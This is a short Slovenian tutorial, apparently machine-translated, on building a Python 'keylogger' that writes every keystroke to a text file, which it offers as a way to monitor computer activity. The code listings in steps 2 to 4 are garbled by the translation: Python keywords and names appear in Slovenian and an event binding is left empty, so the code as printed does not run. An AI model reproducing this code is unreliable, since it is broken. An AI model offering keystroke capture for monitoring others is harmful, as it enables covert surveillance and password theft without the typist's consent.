Kako ustvariti Keylogger s Pythonom

Ženska za računalnikom gleda čez ramo

Zajemite pritiske tipk in jih shranite v datoteko.

Zasluga slike: Jupiterimages/Photos.com/Getty Images

S Pythonom lahko ustvarite program keyloggerja, da zajamete pritiske tipk, vnesene prek tipkovnice računalnika. Pritiski na tipke so shranjeni v besedilni datoteki in beleži ves vnos. Za spremljanje dejavnosti v računalniku lahko uporabite beležnik ključev.

Korak 1

Zaženite IDLE, kliknite meni »Datoteka« in izberite »Novo okno«, da zaženete novo okno. Pritisnite Ctrl in S, da odprete okno "Shrani kot". Uporabite "getKeyLogger" kot ime datoteke in kliknite "Shrani".

Video dneva

2. korak

Dodajte naslednjo vrstico kode za uvoz imenskega prostora "Tkinter" in določite pot datoteke, ki jo želite uporabiti za beleženje:

uvozi Tkinter kot tk myFile = open("C:/temp/keyFile.txt", "w")

3. korak

Kopirajte in prilepite naslednjo kodo, da shranite vsak pritisk na tipko v datoteko:

def keypress (dogodek): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

4. korak

Dodajte naslednjo kodo, da uporabniku sporočite, da lahko začne tipkati, in da lahko pritisne Esc, da konča program:

glavni = tk. Tk() print "Pritisnite katero koli tipko (tipka Escape za izhod):" main.bind_all('', pritisnite tipko) main.withdraw() main.mainloop() myFile.close()

5. korak

Kliknite gumb za zagon "Windows" in v polje "iskanje programov in datotek" vnesite "cmd". Pritisnite Enter, da odprete ukazni poziv. Pojdite na "C:\Python" in vnesite "python getKeyLogger." Pritisnite Enter, da zaženete program. Pojdite na "C:/temp/" in dvokliknite "keyFile.txt", da si ogledate podatke o pritiskih tipk.